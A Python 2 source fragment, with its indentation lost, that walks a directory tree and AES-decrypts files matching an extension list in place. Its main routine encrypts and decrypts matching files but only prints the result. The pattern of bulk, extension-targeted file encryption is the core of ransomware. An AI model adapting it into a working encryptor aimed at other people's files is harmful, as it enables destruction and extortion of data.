def DecryptFiles(passKey):
# Initializing encrypter module
myCrypter = n_crypter()
myCrypter.SetKey(passKey)
# Walking through directories and encrypting files
for dirpath, dirnames, filenames in os.walk(DirSpace):
#F.extend(filenames)
F = filenames
print "-----------"
print "[*] Dirpath: ", dirpath
if not F:
print "[-] Directory is empty..."
for i in F:
for j in extList:
if re.match(r'((([\w]+[\W]+)+\w+)|(\w+))'+j, i, re.I):
# Join the directory path and file name into single path.
# That way, it is OS-independent
f_path = os.path.join(dirpath, i)
print "Decrypting: " + f_path
# Open in reading, writing binary format
fo = open(f_path, "rb+")
# Read contents of the file
f_contents = fo.read()
# Decode inputs
f_contents = myCrypter.DecodeAES(f_contents)
# Make sure file isn't empty
if f_contents != None:
#print "[+] "+ str(i) +" after decryption: " + f_contents
# Clear file
fo.truncate(0)
# Set file pointer back to beginning
fo.seek(0)
# Write contents to file
fo.write(f_contents)
else:
print "[-] There was an issue in the decryption process"
# Close file
fo.close()
else:
continue
print "----------"
print "[*] Decryption completed"
def main():
passKey = raw_input("Please set passkey for module: ")
# Initializing encrypter module
myCrypter = n_crypter()
myCrypter.SetKey(passKey)
# Walking through directories and encrypting files
for dirpath, dirnames, filenames in os.walk(DirSpace):
#F.extend(filenames)
F = filenames
print "-----------"
print "[*] Dirpath: ", dirpath
if not F:
print "[-] Directory is empty..."
for i in F:
for j in extList:
if re.match(r'\w+'+j, i, re.I):
#print "[*] Opening " + i + " in " + dirpath
# Join the directory path and file name into single path.
# That way, it is OS-independent
f_path = os.path.join(dirpath, i)
# Open in reading, writing binary format
fo = open(f_path, "rb+")
# Read contents of the file
f_contents = fo.read()
f_contents = myCrypter.EncodeAES(f_contents)
print "[+] file contents after encryption: " + f_contents
f_contents = myCrypter.DecodeAES(f_contents)
print "[+] file contents after decryption: " + f_contents
#fo.write("The date is now " + str(datetime.datetime.today()) + "\n")
fo.close()
else:
continue
print "----------"
